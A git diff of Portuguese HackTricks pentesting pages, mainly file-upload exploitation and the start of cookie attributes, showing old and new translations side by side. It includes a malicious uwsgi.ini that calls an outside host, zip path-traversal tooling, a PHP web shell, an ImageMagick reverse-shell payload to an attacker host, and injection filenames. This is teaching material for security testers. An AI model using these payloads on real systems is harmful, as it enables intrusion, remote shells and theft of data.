Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Portanto, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere a shell!
Se você pode fazer upload de um arquivo XML em um servidor Jetty, você pode obter [RCE porque **novos \*.xml e \*.war são processados automaticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Então, como mencionado na imagem a seguir, faça o upload do arquivo XML para `$JETTY_BASE/webapps/` e espere pelo shell!
![](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
## **uWSGI RCE**
Se você pode substituir o arquivo de configuração `.ini` de um [**servidor uWSGI, você pode obter RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De fato, os arquivos de configuração do uWSGI podem incluir variáveis "mágicas", espaços reservados e operadores definidos com uma sintaxe precisa. O operador ‘@’ em particular é usado na forma de @(nome do arquivo) para incluir o conteúdo de um arquivo. Muitos esquemas uWSGI são suportados, incluindo "exec" - útil para ler a saída padrão de um processo. Esses operadores podem ser usados para Execução Remota de Comandos ou Gravação/Leitura Arbitrária de Arquivos quando um arquivo de configuração .ini é analisado:
Se você pode substituir o arquivo de configuração `.ini` de um servidor [**uWSGI, você pode obter RCE**](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)**.** De fato, arquivos de configuração uWSGI podem incluir “variáveis mágicas”, placeholders e operadores definidos com uma sintaxe precisa. O operador ‘@’ em particular é usado na forma de @(filename) para incluir o conteúdo de um arquivo. Muitos esquemas uWSGI são suportados, incluindo “exec” - útil para ler a saída padrão de um processo. Esses operadores podem ser armados para Execução de Comando Remoto ou Escrita/Leitura de Arquivo Arbitrário quando um arquivo de configuração .ini é analisado:
Exemplo de arquivo `uwsgi.ini` malicioso:
Exemplo de arquivo malicioso `uwsgi.ini`:
```ini
[uwsgi]
; read from a symbol
@ -141,14 +142,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
```
Quando o arquivo de **configuração** for **analisado**, o **payload** será **executado**. Observe que, para que a configuração seja analisada, o **processo precisa ser reiniciado** (crash? DoS?) ou o arquivo ser **recarregado automaticamente** (uma opção que pode ser usada indica os segundos para recarregar o arquivo se uma alteração for encontrada).
Quando o arquivo de **configuração** for **analisado**, o **payload** será **executado**. Note que, para que a configuração seja analisada, o **processo precisa ser reiniciado** (crash? DoS?) ou o arquivo **recarregado automaticamente** (uma opção em uso indica os segundos para recarregar o arquivo se uma mudança for encontrada).
**Nota importante:** A análise do arquivo de configuração do uWSGI é flexível. O payload anterior pode estar embutido em um arquivo binário (por exemplo, imagem, pdf, ...).
**Nota Importante:** A análise do arquivo de configuração pelo uWSGI é permissiva. O payload anterior pode ser embutido dentro de um arquivo binário (por exemplo, imagem, pdf, ...).
## **Truque de Upload de Arquivo/SSRF com wget**
## **wget File Upload/SSRF Trick**
Em algumas ocasiões, você pode descobrir que um servidor está usando o **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nesses casos, o código pode estar verificando se a extensão dos arquivos baixados está em uma lista branca para garantir que apenas os arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser contornada**.\
O **comprimento máximo** de um **nome de arquivo** no **Linux** é **255**, no entanto, o **wget** trunca os nomes de arquivo para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, esse nome de arquivo irá **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas o `wget` irá **renomear** o arquivo para **"A"\*232+".php"**.
Em algumas ocasiões, você pode descobrir que um servidor está usando **`wget`** para **baixar arquivos** e você pode **indicar** a **URL**. Nestes casos, o código pode estar verificando se a extensão dos arquivos baixados está dentro de uma lista de permissões para assegurar que apenas arquivos permitidos sejam baixados. No entanto, **essa verificação pode ser burlada.**\
O comprimento **máximo** de um **nome de arquivo** no **linux** é **255**, no entanto, **wget** trunca os nomes dos arquivos para **236** caracteres. Você pode **baixar um arquivo chamado "A"\*232+".php"+".gif"**, este nome de arquivo vai **burlar** a **verificação** (como neste exemplo **".gif"** é uma extensão **válida**), mas `wget` vai **renomear** o arquivo para **"A"\*232+".php"**.
```bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -171,7 +172,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
```
Observe que **outra opção** que você pode estar pensando para contornar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, para que a URL inicial contorne a verificação e, em seguida, o wget faça o download do arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque o wget fará o download da página redirecionada com o nome do arquivo indicado na URL original.
Observe que **outra opção** que você pode estar pensando para burlar essa verificação é fazer com que o **servidor HTTP redirecione para um arquivo diferente**, assim a URL inicial passará pela verificação, mas então o wget baixará o arquivo redirecionado com o novo nome. Isso **não funcionará** **a menos que** o wget esteja sendo usado com o **parâmetro** `--trust-server-names`, porque **o wget baixará a página redirecionada com o nome do arquivo indicado na URL original**.
#### Outros recursos
@ -182,76 +183,76 @@ Observe que **outra opção** que você pode estar pensando para contornar essa
## Ferramentas
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) é uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar mecanismos de upload de arquivos. Ele utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicativos da web.
* [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) é uma ferramenta poderosa projetada para auxiliar Pentesters e Caçadores de Bugs no teste de mecanismos de upload de arquivos. Ela utiliza várias técnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliações completas de aplicações web.
## Da carga de arquivos para outras vulnerabilidades
## De Upload de Arquivo para outras vulnerabilidades
* Defina o **nome do arquivo** como `../../../tmp/lol.png` e tente alcançar uma **travessia de caminho**
* Defina o **nome do arquivo** como `sleep(10)-- -.jpg` e você pode ser capaz de alcançar uma **injeção de SQL**
* Defina o **nome do arquivo** como `<svg onload=alert(document.domain)>` para alcançar um XSS
* Defina o **nome do arquivo** como `; sleep 10;` para testar alguma injeção de comando (mais [truques de injeção de comando aqui](../command-injection.md))
* Defina **filename** para `../../../tmp/lol.png` e tente realizar um **path traversal**
* Defina **filename** para `sleep(10)-- -.jpg` e você pode conseguir realizar uma **SQL injection**
* Defina **filename** para `<svg onload=alert(document.domain)>` para conseguir um XSS
* Defina **filename** para `; sleep 10;` para testar alguma injeção de comando (mais truques de [injeção de comando aqui](../command-injection.md))
* [**XSS** em upload de arquivo de imagem (svg)](../xss-cross-site-scripting/#xss-uploading-files-svg)
* Upload de arquivo **JS** + **XSS** = [exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* Upload de arquivo **JS** + **XSS** = [Exploração de **Service Workers**](../xss-cross-site-scripting/#xss-abusing-service-workers)
* [**XXE em upload de svg**](../xxe-xee-xml-external-entity.md#svg-file-upload)
* [**Redirecionamento aberto** através do upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Experimente **cargas úteis svg diferentes** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
* [Vulnerabilidade famosa de **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Se você puder **indicar ao servidor web para capturar uma imagem de uma URL**, você pode tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se essa **imagem** for ser **salva** em algum site **público**, você também pode indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de todos os visitantes**.
* [**Open Redirect** via upload de arquivo svg](../open-redirect.md#open-redirect-uploading-svg-files)
* Tente **diferentes payloads svg** de [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)****
* [Vulnerabilidade famosa **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
* Se você pode **indicar ao servidor web para capturar uma imagem de uma URL**, você poderia tentar abusar de um [SSRF](../ssrf-server-side-request-forgery/). Se esta **imagem** for **salva** em algum site **público**, você também poderia indicar uma URL de [https://iplogger.org/invisible/](https://iplogger.org/invisible/) e **roubar informações de cada visitante**.
* [**XXE e CORS** bypass com upload de PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
* PDFs especialmente criados para XSS: A [página a seguir mostra como **injetar dados PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você puder fazer upload de PDFs, você pode preparar um PDF que executará JS arbitrário seguindo as indicações fornecidas.
* Faça o upload do conteúdo \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor possui algum **antivírus**
* Verifique se há algum **limite de tamanho** para o upload de arquivos
* PDFs especialmente criados para XSS: A [página a seguir apresenta como **injetar dados em PDF para obter execução de JS**](../xss-cross-site-scripting/pdf-injection.md). Se você pode fazer upload de PDFs, você poderia preparar algum PDF que executará JS arbitrário seguindo as indicações dadas.
* Faça upload do conteúdo [eicar]([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) para verificar se o servidor tem algum **antivírus**
* Verifique se há algum **limite de tamanho** ao fazer upload de arquivos
Aqui está uma lista dos 10 principais itens que você pode alcançar fazendo upload (de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
Aqui está uma lista dos 10 principais objetivos que você pode alcançar fazendo upload (de [link](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
2. **SVG**: XSS armazenado / SSRF / XXE
3. **GIF**: XSS armazenado / SSRF
2. **SVG**: Stored XSS / SSRF / XXE
3. **GIF**: Stored XSS / SSRF
4. **CSV**: Injeção de CSV
5. **XML**: XXE
6. **AVI**: LFI / SSRF
7. **HTML / JS**: Injeção de HTML / XSS / Redirecionamento aberto
7. **HTML / JS**: Injeção de HTML / XSS / Open redirect
8. **PNG / JPEG**: Ataque de inundação de pixels (DoS)
9. **ZIP**: RCE via LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE
#### Extensão do Burp
#### Extensão Burp
{% embed url="https://github.com/portswigger/upload-scanner" %}
## Bytes de Cabeçalho Mágico
## Magic Header Bytes
* **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
* **JPG**: `"\xff\xd8\xff"`
Consulte [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) para outros tipos de arquivo.
Consulte [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) para outros tipos de arquivos.
### Upload Automático de Arquivo Zip/Tar Descompactado
### Upload de Arquivo Zip/Tar Automaticamente Descomprimido
Se você puder fazer upload de um arquivo ZIP que será descompactado dentro do servidor, você pode fazer 2 coisas:
Se você pode fazer upload de um ZIP que vai ser descomprimido dentro do servidor, você pode fazer 2 coisas:
#### Symlink
Faça o upload de um link contendo links simbólicos para outros arquivos e, em seguida, acessando os arquivos descompactados, você terá acesso aos arquivos vinculados:
Faça upload de um link contendo links simbólicos para outros arquivos, então, acessando os arquivos descomprimidos você acessará os arquivos linkados:
```
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
```
### Descompactar em pastas diferentes
### Descompressão em pastas diferentes
Os arquivos descompactados serão criados em pastas inesperadas.
Os arquivos descomprimidos serão criados em pastas inesperadas.
Pode-se facilmente assumir que essa configuração protege contra a execução de comandos em nível de sistema operacional por meio de uploads maliciosos de arquivos, mas infelizmente isso não é verdade. Como o formato de arquivo ZIP suporta compressão hierárquica e também podemos fazer referência a diretórios de níveis superiores, podemos escapar do diretório seguro de upload abusando do recurso de descompactação do aplicativo alvo.
Poderia-se facilmente presumir que essa configuração protege contra a execução de comandos no nível do sistema operacional via uploads de arquivos maliciosos, mas infelizmente isso não é verdade. Uma vez que o formato de arquivo ZIP suporta compressão hierárquica e também podemos referenciar diretórios de nível superior, podemos escapar do diretório seguro de upload abusando do recurso de descompressão do aplicativo alvo.
Um exploit automatizado para criar esse tipo de arquivo pode ser encontrado aqui: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
Um exploit automatizado para criar esse tipo de arquivos pode ser encontrado aqui: [**https://github.com/ptoomey3/evilarc**](https://github.com/ptoomey3/evilarc)
```python
python2 evilarc.py -h
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
```
Você também pode usar o **truque do symlink com evilarc**, se a flag estiver em `/flag.txt`, certifique-se de criar um **symlink para esse arquivo** e **criar esse arquivo em seu sistema** para que, quando você chamar o evilarc, ele **não dê erro**.
Você também pode usar o **truque de symlink com evilarc**, se a flag estiver em `/flag.txt` certifique-se de criar um **symlink para esse arquivo** e **criar esse arquivo em seu sistema** para que, quando você chamar o evilarc, ele **não dê erro**.
Algum código em Python para criar um zip malicioso:
Algum código python para criar um zip malicioso:
```python
#!/usr/bin/python
import zipfile
@ -269,7 +270,7 @@ zip.close()
create_zip()
```
Para obter a execução remota de comandos, segui os seguintes passos:
Para alcançar a execução remota de comandos, segui os seguintes passos:
1. Criar um shell PHP:
```php
@ -279,9 +280,7 @@ $cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
```
1. Use "file spraying" and create a compressed zip file:
1. Use a técnica de "file spraying" e crie um arquivo zip compactado:
1. Use o "file spraying" e crie um arquivo zip comprimido:
```
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# ls *.php
@ -301,13 +300,15 @@ adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
adding: xxAxxAxxAxxAxxAxxAxxAxxAxxAxxAcmd.php (deflated 40%)
root@s2crew:/tmp#
```
3. Use um hexeditor ou vi e altere "xxA" para "../", eu usei vi:
3. Use um editor hexadecimal ou vi e altere o "xxA" para "../", eu usei vi:
```
:set modifiable
:%s/xxA/..\//g
:x!
```
Apenas um passo restante: Faça o upload do arquivo ZIP e permita que a aplicação o descompacte! Se tiver sucesso e o servidor web tiver privilégios suficientes para gravar nos diretórios, haverá um shell simples de execução de comando do sistema:
Concluído!
Restava apenas um passo: Fazer o upload do arquivo ZIP e permitir que o aplicativo o descompactasse! Se isso for bem-sucedido e o servidor web tiver privilégios suficientes para escrever nos diretórios, haverá um shell de execução de comandos OS simples no sistema:
[![b1](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1-300x106.png)](https://blog.silentsignal.eu/wp-content/uploads/2014/01/b1.png)
@ -322,35 +323,37 @@ viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
```
## Incorporando um Shell PHP em um PNG
## Incorporando PHP Shell em PNG
A principal razão para colocar um shell web no chunk IDAT é que ele tem a capacidade de contornar operações de redimensionamento e reamostragem - o PHP-GD contém duas funções para isso [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) e [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
A principal razão para colocar um web shell no chunk IDAT é que ele tem a capacidade de contornar operações de redimensionamento e reamostragem - PHP-GD contém duas funções para fazer isso [imagecopyresized](http://php.net/manual/en/function.imagecopyresized.php) e [imagecopyresampled](http://php.net/manual/en/function.imagecopyresampled.php).
Leia este post: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
## Arquivos Poliglotas
Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos diferentes de arquivos. Por exemplo, um [GIFAR](https://en.wikipedia.org/wiki/Gifar) é tanto um arquivo GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.
Poliglotas, em um contexto de segurança, são arquivos que são uma forma válida de vários tipos diferentes de arquivos. Por exemplo, um [GIFAR](https://en.wikipedia.org/wiki/Gifar) é tanto um GIF quanto um arquivo RAR. Existem também arquivos que podem ser tanto GIF quanto JS, tanto PPT quanto JS, etc.
Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivo. Muitos aplicativos que permitem que os usuários façam upload de arquivos só permitem uploads de certos tipos, como JPEG, GIF, DOC, para evitar que os usuários façam upload de arquivos potencialmente perigosos como arquivos JS, arquivos PHP ou arquivos Phar.
Arquivos poliglotas são frequentemente usados para contornar proteções baseadas em tipos de arquivos. Muitas aplicações que permitem aos usuários fazer upload de arquivos só permitem uploads de certos tipos, como JPEG, GIF, DOC, para evitar que usuários façam upload de arquivos potencialmente perigosos como arquivos JS, PHP ou Phar.
Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso permite que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e se a função de upload não permitir isso, isso não ajudará você.
Isso ajuda a fazer upload de um arquivo que está em conformidade com o formato de vários formatos diferentes. Isso pode permitir que você faça upload de um arquivo PHAR (PHp ARchive) que também parece um JPEG, mas provavelmente você ainda precisará de uma extensão válida e, se a função de upload não permitir, isso não ajudará.
Mais informações em: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Dica de recompensa por bugs**: **inscreva-se** no **Intigriti**, uma plataforma premium de **recompensas por bugs criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje mesmo e comece a ganhar recompensas de até **$100.000**!
**Dica de bug bounty**: **inscreva-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras maneiras de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

101
pentesting-web/hacking-with-cookies/README.md
View file

@ -2,42 +2,44 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha numa **empresa de cibersegurança**? Quer ver a sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga** me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente grátis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Atributos dos Cookies
## Atributos de Cookies
### Expires & Max-Age
* `Expires` define uma data de expiração para quando um cookie é deletado
* `Max-age` define o tempo em segundos para quando um cookie será deletado **(use isso, já não estamos em 2009)**
* `Max-age` define o tempo em segundos para quando um cookie será deletado **(use isso, não estamos mais em 2009)**
### **Domain**
O atributo `Domain` especifica **quais hosts podem receber um cookie**. Se não especificado, o atributo **assume por padrão** o **mesmo host** que definiu o cookie, _**excluindo subdomínios**_. **Se `Domain` for** **especificado**, então **subdomínios são sempre incluídos**. Portanto, especificar `Domain` é menos restritivo do que omiti-lo. No entanto, pode ser útil quando subdomínios precisam compartilhar informações sobre um usuário.
O atributo `Domain` especifica **quais hosts podem receber um cookie**. Se não especificado, o atributo **assume por padrão** o **mesmo host** que definiu o cookie, _**excluindo subdomínios**_. **Se `Domain` é** **especificado**, então **subdomínios são sempre incluídos**. Portanto, especificar `Domain` é menos restritivo do que omiti-lo. No entanto, pode ser útil quando subdomínios precisam compartilhar informações sobre um usuário.
Por exemplo, se você definir `Domain=mozilla.org`, cookies estarão disponíveis em subdomínios como `developer.mozilla.org`. Mas se você não definir, o cookie não será enviado para subdomínios.
Se um **subdomínio** `sub.example.com` **definir um cookie** com o atributo _domain_ de **`.example.com`**, ele será **enviado** em solicitações para o **domínio pai.**
Se um **subdomínio** `sub.example.com` **definir um cookie** com atributo _domain_ de **`.example.com`**, ele será **enviado** em solicitações para o **domínio pai.**
### **Path**
O atributo `Path` indica um **caminho de URL que deve existir na URL solicitada para enviar o cabeçalho `Cookie`**. O caractere `%x2F` ("/") é considerado um separador de diretório, e subdiretórios também são correspondidos.
O atributo `Path` indica um **caminho URL que deve existir na URL solicitada para enviar o cabeçalho `Cookie`**. O caractere `%x2F` ("/") é considerado um separador de diretório, e subdiretórios também são correspondidos.
#### Ordem
@ -55,21 +57,22 @@ Isso indicará ao navegador se o **cookie** pode ser enviado **de outros domíni
* **None**: O cookie é enviado de qualquer domínio de terceiros
| **Tipo de Solicitação** | **Código de Exemplo** | **Cookies Enviados Quando** |
| ----------------------- | --------------------------------------- | --------------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Imagem | \<img src="..."> | NetSet\*, None |
| ---------------- | ---------------------------------- | --------------------- |
| Link | \<a href="...">\</a> | NotSet\*, Lax, None |
| Prerender | \<link rel="prerender" href=".."/> | NotSet\*, Lax, None |
| Form GET | \<form method="GET" action="..."> | NotSet\*, Lax, None |
| Form POST | \<form method="POST" action="..."> | NotSet\*, None |
| iframe | \<iframe src="...">\</iframe> | NotSet\*, None |
| AJAX | $.get("...") | NotSet\*, None |
| Image | \<img src="..."> | NetSet\*, None |
Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
Um cookie com o atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
Tabela da [Invicti](https://www.netsparker.com/blog/web-security/same-site-cookie-attribute-prevent-cross-site-request-forgery/) e ligeiramente modificada.\
Um cookie com atributo _**SameSite**_ **mitigará ataques CSRF** onde uma sessão logada é necessária.
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
Note que temporariamente, após aplicar essa mudança, os **cookies sem uma política SameSite** no Chrome serão **tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST de nível superior entre sites.**
## Flags de Cookies
Observe que temporariamente, após aplicar essa mudança, os **cookies sem uma política SameSite** no Chrome serão **tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitação POST cross-site de nível superior.**
## Bandeiras de Cookies
### HttpOnly
@ -78,8 +81,8 @@ Isso impede que o **cliente** acesse o cookie (Via **Javascript**, por exemplo:
#### **Bypasses**
* Se a página está **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a esta página e **roubar os cookies** da resposta (confira um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
